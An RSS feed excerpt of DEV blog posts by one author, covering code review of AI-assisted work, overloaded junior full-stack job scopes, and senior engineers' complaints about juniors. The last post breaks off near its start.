  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;seedAnalyticsEvent&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;segmentId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;deleted-segment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;deletedAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;reportRepository&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getCampaignSegmentRows&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toEqual&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;objectContaining&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;missing_segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
    &lt;span class="nx"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;objectContaining&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;missing_segment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That test does not care who wrote the query. It cares whether the business rule survives.&lt;/p&gt;

&lt;p&gt;That is the right level of discipline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Developers already know AI is unreliable
&lt;/h2&gt;

&lt;p&gt;The common narrative is that juniors trust AI too much.&lt;/p&gt;

&lt;p&gt;Some do. But the broader developer population is not blindly confident either.&lt;/p&gt;

&lt;p&gt;Stack Overflow's 2025 Developer Survey says more developers distrust AI output accuracy than trust it: 46% versus 33%. It also says the biggest frustration is AI answers that are "almost right, but not quite." [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" alt="Chart: Stack Overflow 2025 shows 46% distrust AI output accuracy, 33% trust it, and 66% cite almost-right answers as a frustration" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That phrase should be printed above every code review tool:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;almost right, but not quite&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is the danger zone. It applies to human code too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bad AI use versus smart AI use
&lt;/h2&gt;

&lt;p&gt;Bad AI use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;generate code&lt;/li&gt;
&lt;li&gt;paste it&lt;/li&gt;
&lt;li&gt;cannot explain it&lt;/li&gt;
&lt;li&gt;no tests&lt;/li&gt;
&lt;li&gt;no docs&lt;/li&gt;
&lt;li&gt;no edge cases&lt;/li&gt;
&lt;li&gt;hide the tool use&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Smart AI use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ask AI to explain unfamiliar code&lt;/li&gt;
&lt;li&gt;ask for edge cases&lt;/li&gt;
&lt;li&gt;compare with docs&lt;/li&gt;
&lt;li&gt;write or improve tests&lt;/li&gt;
&lt;li&gt;reject wrong suggestions&lt;/li&gt;
&lt;li&gt;disclose meaningful help&lt;/li&gt;
&lt;li&gt;own the final change&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Teams should punish the first pattern and teach the second.&lt;/p&gt;

&lt;h2&gt;
  
  
  The senior double standard
&lt;/h2&gt;

&lt;p&gt;The uncomfortable part is that many seniors have a double standard.&lt;/p&gt;

&lt;p&gt;They treat junior AI use as suspicious but treat senior intuition as trustworthy.&lt;/p&gt;

&lt;p&gt;That is not engineering. Engineering is evidence.&lt;/p&gt;

&lt;p&gt;A senior's hand-written code can still be wrong.&lt;/p&gt;

&lt;p&gt;A junior's AI-assisted code can still be correct.&lt;/p&gt;

&lt;p&gt;Neither gets a free pass.&lt;/p&gt;

&lt;p&gt;The standard should be:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Standard&lt;/th&gt;
&lt;th&gt;Applies to&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Explain the code&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Test risky behavior&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Follow privacy policy&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclose required AI use&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Accept review&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Own production impact&lt;/td&gt;
&lt;td&gt;Everyone&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is how teams avoid turning AI policy into status politics.&lt;/p&gt;

&lt;h2&gt;
  
  
  What hiring managers should ask
&lt;/h2&gt;

&lt;p&gt;If companies want AI-aware juniors, they should evaluate AI-aware review skills.&lt;/p&gt;

&lt;p&gt;Ask candidates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How would you verify AI-generated code?&lt;/li&gt;
&lt;li&gt;What makes an AI answer unsafe?&lt;/li&gt;
&lt;li&gt;When would you refuse to use generated output?&lt;/li&gt;
&lt;li&gt;How would you test this SQL query?&lt;/li&gt;
&lt;li&gt;What would you disclose in a PR?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is better than pretending AI does not exist. It is also better than rewarding candidates who hide their workflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;Review the logic. Review the tests. Review the assumptions. Review the data that disappears.&lt;/p&gt;

&lt;p&gt;Review the security boundary. Review the production risk.&lt;/p&gt;

&lt;p&gt;Yes, review AI usage too.&lt;/p&gt;

&lt;p&gt;But do not confuse tool suspicion with engineering rigor.&lt;/p&gt;

&lt;p&gt;The goal is not to keep AI out of the conversation. The goal is to keep bad code out of production.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/code-review" class="crayons-btn crayons-btn--primary"&gt;Interested in code review, AI, and engineering culture? Explore #code-review on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>ai</category>
      <category>sql</category>
      <category>hiring</category>
      <category>career</category>
    </item>
    <item>
      <title>Stop Hiring One Junior to Be the Whole Engineering Department</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:35:56 +0000</pubDate>
      <link>https://forem.com/bradleymatera/stop-hiring-one-junior-to-be-the-whole-engineering-department-koa</link>
      <guid>https://forem.com/bradleymatera/stop-hiring-one-junior-to-be-the-whole-engineering-department-koa</guid>
      <description>&lt;p&gt;One of the worst hiring patterns in tech is the "junior full-stack owner."&lt;/p&gt;

&lt;p&gt;The title says junior.&lt;/p&gt;

&lt;p&gt;The job says:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;build the UI&lt;/li&gt;
&lt;li&gt;write the API&lt;/li&gt;
&lt;li&gt;design the database&lt;/li&gt;
&lt;li&gt;deploy to cloud&lt;/li&gt;
&lt;li&gt;manage CI/CD&lt;/li&gt;
&lt;li&gt;write tests&lt;/li&gt;
&lt;li&gt;handle analytics&lt;/li&gt;
&lt;li&gt;debug production&lt;/li&gt;
&lt;li&gt;talk to support&lt;/li&gt;
&lt;li&gt;understand security&lt;/li&gt;
&lt;li&gt;use AI responsibly&lt;/li&gt;
&lt;li&gt;move fast&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is not a junior role. It is an underfunded engineering department wearing a junior title.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/cc0studios-laptop-work-from-home-excited-on-6MnZfHwQ4anmIS08LG" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdXV3a2RodWtrM2xhMDEyaWM3cTg5eDB0cnF2dnVvNTJ3a3VzYWVkeiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F6MnZfHwQ4anmIS08LG%2Fgiphy.webp" height="270" class="m-0" width="480"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/cc0studios-laptop-work-from-home-excited-on-6MnZfHwQ4anmIS08LG" rel="noopener noreferrer" class="c-link"&gt;
            Work From Home Leaf GIF by CC0 Studios - Find &amp;amp; Share on GIPHY
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Work From Home Leaf GIF by CC0 Studios with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Scope is the hidden hiring failure
&lt;/h2&gt;

&lt;p&gt;The industry talks a lot about skill gaps. It talks less about scope gaps.&lt;/p&gt;

&lt;p&gt;A junior can learn React. A junior can learn SQL. A junior can learn AWS basics. A junior can learn testing.&lt;/p&gt;

&lt;p&gt;But a junior cannot safely be the primary owner for every layer of a production system without support.&lt;/p&gt;

&lt;p&gt;That is not because juniors are weak. It is because production systems are multi-disciplinary.&lt;/p&gt;

&lt;p&gt;Frontend work requires accessibility, state management, browser behavior, design constraints, and product judgment.&lt;/p&gt;

&lt;p&gt;Backend work requires API design, data modeling, validation, concurrency, error handling, and performance awareness.&lt;/p&gt;

&lt;p&gt;Infrastructure work requires networking, secrets, deployment, observability, rollback, permissions, and cost control.&lt;/p&gt;

&lt;p&gt;Support work requires incident judgment, user empathy, logging, triage, and communication.&lt;/p&gt;

&lt;p&gt;Those are different skill families. Calling all of them "full-stack" does not make the scope reasonable.&lt;/p&gt;

&lt;h2&gt;
  
  
  The market rewards impossible wish lists
&lt;/h2&gt;

&lt;p&gt;Indeed Hiring Lab reported that tech postings have shifted toward higher experience requirements, with the share asking for at least five years of experience rising from 37% to 42% between Q2 2022 and Q2 2025. [&lt;a href="https://www.hiringlab.org/2025/07/30/experience-requirements-have-tightened-amid-the-tech-hiring-freeze/" rel="noopener noreferrer"&gt;Indeed Hiring Lab&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-fd6e909d-1f7f-4b4f-8a83-b33e07070c37" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-fd6e909d-1f7f-4b4f-8a83-b33e07070c37" alt="Chart: Tech job postings asking for at least five years of experience rose from 37% in Q2 2022 to 42% in Q2 2025" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://www.hiringlab.org/2025/07/30/experience-requirements-have-tightened-amid-the-tech-hiring-freeze/" rel="noopener noreferrer"&gt;Indeed Hiring Lab&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;NACE reports growing use of skills-based hiring for entry-level roles. [&lt;a href="https://www.naceweb.org/job-market/trends-and-predictions/employer-use-of-skills-based-hiring-practices-grows" rel="noopener noreferrer"&gt;NACE&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;That combination can be useful if companies define the skills clearly.&lt;/p&gt;

&lt;p&gt;It becomes harmful when the skill list turns into:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Everything our team is missing."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Bad hiring logic looks like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Business need&lt;/th&gt;
&lt;th&gt;Bad junior requirement&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;We need a frontend fix&lt;/td&gt;
&lt;td&gt;Must know React, design systems, accessibility, analytics.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;We need API work&lt;/td&gt;
&lt;td&gt;Must know Node, Python, SQL, auth, caching.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;We need deployment help&lt;/td&gt;
&lt;td&gt;Must know AWS, Docker, Kubernetes, Terraform.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;We need quality&lt;/td&gt;
&lt;td&gt;Must know unit, integration, E2E, and load testing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;We need velocity&lt;/td&gt;
&lt;td&gt;Must know AI tools and ship independently.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;We need coverage&lt;/td&gt;
&lt;td&gt;Must join support rotation immediately.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is not skills-based hiring. That is panic-based hiring.&lt;/p&gt;

&lt;h2&gt;
  
  
  Production reliability is not a junior checkbox
&lt;/h2&gt;

&lt;p&gt;Reliability work is a good example.&lt;/p&gt;

&lt;p&gt;Companies often expect juniors to understand retry logic, circuit breakers, queues, dead-letter handling, monitoring, and incident response while never giving them a safe path to learn those concepts.&lt;/p&gt;

&lt;p&gt;Microsoft's Azure Architecture Center describes the &lt;a href="https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker" rel="noopener noreferrer"&gt;Circuit Breaker pattern&lt;/a&gt; as a way to handle faults that may take time to recover from when an application connects to a remote service or resource.&lt;/p&gt;

&lt;p&gt;Google's SRE book chapter on &lt;a href="https://sre.google/sre-book/addressing-cascading-failures/" rel="noopener noreferrer"&gt;cascading failures&lt;/a&gt; explains how failures can amplify across systems, especially when retry behavior and overload are handled badly.&lt;/p&gt;

&lt;p&gt;Those are not beginner concepts. They are teachable concepts. There is a difference.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI can name the pattern. It cannot own the blast radius.
&lt;/h2&gt;

&lt;p&gt;AI is useful here.&lt;/p&gt;

&lt;p&gt;A junior can ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"What pattern prevents one failing upstream service from taking down the whole ingestion pipeline?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer might point toward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;circuit breaker&lt;/li&gt;
&lt;li&gt;retry with backoff&lt;/li&gt;
&lt;li&gt;bulkhead isolation&lt;/li&gt;
&lt;li&gt;dead-letter queue&lt;/li&gt;
&lt;li&gt;schema validation&lt;/li&gt;
&lt;li&gt;graceful degradation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is valuable. But knowing the name of a pattern is not the same as owning production risk.&lt;/p&gt;

&lt;p&gt;The junior still needs help deciding:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;when the circuit opens&lt;/li&gt;
&lt;li&gt;when it closes&lt;/li&gt;
&lt;li&gt;what gets dropped&lt;/li&gt;
&lt;li&gt;what gets retried&lt;/li&gt;
&lt;li&gt;how operators are alerted&lt;/li&gt;
&lt;li&gt;what users see&lt;/li&gt;
&lt;li&gt;what metrics prove it worked&lt;/li&gt;
&lt;li&gt;how to remove or replace the mitigation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That is where mentorship matters. AI can shorten discovery. It cannot replace operational judgment.&lt;/p&gt;

&lt;h2&gt;
  
  
  "No hacks" is often fake discipline
&lt;/h2&gt;

&lt;p&gt;Another leadership mistake is rejecting temporary mitigations because they sound messy.&lt;/p&gt;

&lt;p&gt;Teams say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We do not do hacks."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sometimes that is discipline. Sometimes it is an excuse to avoid making a hard risk trade-off.&lt;/p&gt;

&lt;p&gt;There is a real difference between a sloppy patch and a responsible mitigation:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sloppy patch&lt;/th&gt;
&lt;th&gt;Responsible mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hidden behavior&lt;/td&gt;
&lt;td&gt;Documented behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No owner&lt;/td&gt;
&lt;td&gt;Named owner&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No tests&lt;/td&gt;
&lt;td&gt;Test for failure mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No observability&lt;/td&gt;
&lt;td&gt;Logs, metrics, alerting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No end date&lt;/td&gt;
&lt;td&gt;Removal or replacement condition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pretends to be final&lt;/td&gt;
&lt;td&gt;Explicitly buys time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Juniors should learn that distinction. Companies should teach it.&lt;/p&gt;

&lt;p&gt;Instead, many teams give juniors vague slogans:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no hacks&lt;/li&gt;
&lt;li&gt;move fast&lt;/li&gt;
&lt;li&gt;own your work&lt;/li&gt;
&lt;li&gt;think like a senior&lt;/li&gt;
&lt;li&gt;use AI but be careful&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those are slogans, not operating instructions.&lt;/p&gt;

&lt;h2&gt;
  
  
  A realistic junior production path
&lt;/h2&gt;

&lt;p&gt;If companies want juniors to learn production work, they need staged exposure.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Good junior scope&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Observe&lt;/td&gt;
&lt;td&gt;Watch incident reviews and deployment rollbacks.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pair&lt;/td&gt;
&lt;td&gt;Debug logs with a senior during low-risk issues.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Implement&lt;/td&gt;
&lt;td&gt;Add tests, alerts, or small guardrails with review.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shadow&lt;/td&gt;
&lt;td&gt;Join support rotation without being primary.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Own small surface&lt;/td&gt;
&lt;td&gt;Maintain a limited component with backup.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Expand&lt;/td&gt;
&lt;td&gt;Take larger production ownership after evidence.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" alt="Chart: A realistic junior ramp grows scope from week one through month twelve instead of assigning full production ownership immediately" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: Author framework for staged junior onboarding.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That is how production judgment develops. Not by throwing a junior into a multi-layer system and calling it "ownership."&lt;/p&gt;

&lt;h2&gt;
  
  
  AI adds another layer of pressure
&lt;/h2&gt;

&lt;p&gt;Stack Overflow's 2025 survey says AI use is widespread among developers, but trust is low. [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;Handshake reports that 70% of hiring leaders say AI will change entry-level role requirements. [&lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-46c4a4ed-1f94-4084-bdb6-b06f85a267d5" alt="Chart: 70% of hiring leaders say AI will change entry-level role requirements" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://joinhandshake.com/blog/employers/what-does-ai-mean-for-early-talent-pipeline/" rel="noopener noreferrer"&gt;Handshake Class of 2026 AI economy research&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That means juniors are now expected to know the tool and know when not to trust the tool. That is a sophisticated skill.&lt;/p&gt;

&lt;p&gt;If companies add AI to already bloated junior roles without training, they are not modernizing. They are increasing risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Write the role like you mean it
&lt;/h2&gt;

&lt;p&gt;Bad:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Junior Full-Stack Developer
Must own frontend, backend, AWS deployments, testing, analytics, and production support.
Experience with AI coding tools preferred.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Junior Product Engineer
First 90 days focus on frontend bug fixes, API integration tasks, test coverage, and guided deployments.
Production support begins as shadowing only.
AI tools are allowed for learning and drafting, with disclosure and review rules.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second version is still ambitious. It is also honest.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;Companies cannot complain that juniors are not production-ready while designing junior roles with production blast radius and no training path.&lt;/p&gt;

&lt;p&gt;If the role spans frontend, backend, cloud, DevOps, testing, analytics, support, and AI tooling, the candidate is not the problem.&lt;/p&gt;

&lt;p&gt;The scope is.&lt;/p&gt;

&lt;p&gt;A junior can grow into broad ownership. They should not be used as a cheap replacement for a missing team.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/production" class="crayons-btn crayons-btn--primary"&gt;Interested in production engineering, hiring, and junior developer growth? Explore #production on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>productivity</category>
      <category>career</category>
      <category>careerdevelopment</category>
      <category>hiring</category>
    </item>
    <item>
      <title>Senior Engineers Complaining About Juniors Are Missing the Point</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:34:40 +0000</pubDate>
      <link>https://forem.com/bradleymatera/senior-engineers-complaining-about-juniors-are-missing-the-point-2ch6</link>
      <guid>https://forem.com/bradleymatera/senior-engineers-complaining-about-juniors-are-missing-the-point-2ch6</guid>
      <description>&lt;p&gt;Senior engineers love complaining about juniors.&lt;/p&gt;

&lt;p&gt;They complain juniors do not understand fundamentals.&lt;/p&gt;

&lt;p&gt;They complain juniors use AI too much.&lt;/p&gt;

&lt;p&gt;They complain juniors ask basic questions.&lt;/p&gt;

&lt;p&gt;They complain juniors cannot debug production systems.&lt;/p&gt;

&lt;p&gt;Some of those complaints are true. They are also incomplete.&lt;/p&gt;

&lt;p&gt;Because the same industry that complains about junior quality spent years weakening the systems that used to create it.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/dubsado-teamwork-WOTtToQqAArtvgBggf" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbTA0bTU2Y2xoM25oMXFrODF0ZTJuNDZvOGMwM3VsbmNlcnI0c3l0aSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FWOTtToQqAArtvgBggf%2Fgiphy.webp" height="270" class="m-0" width="480"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/dubsado-teamwork-WOTtToQqAArtvgBggf" rel="noopener noreferrer" class="c-link"&gt;
            Teamwork GIF by Dubsado - Find &amp;amp; Share on GIPHY
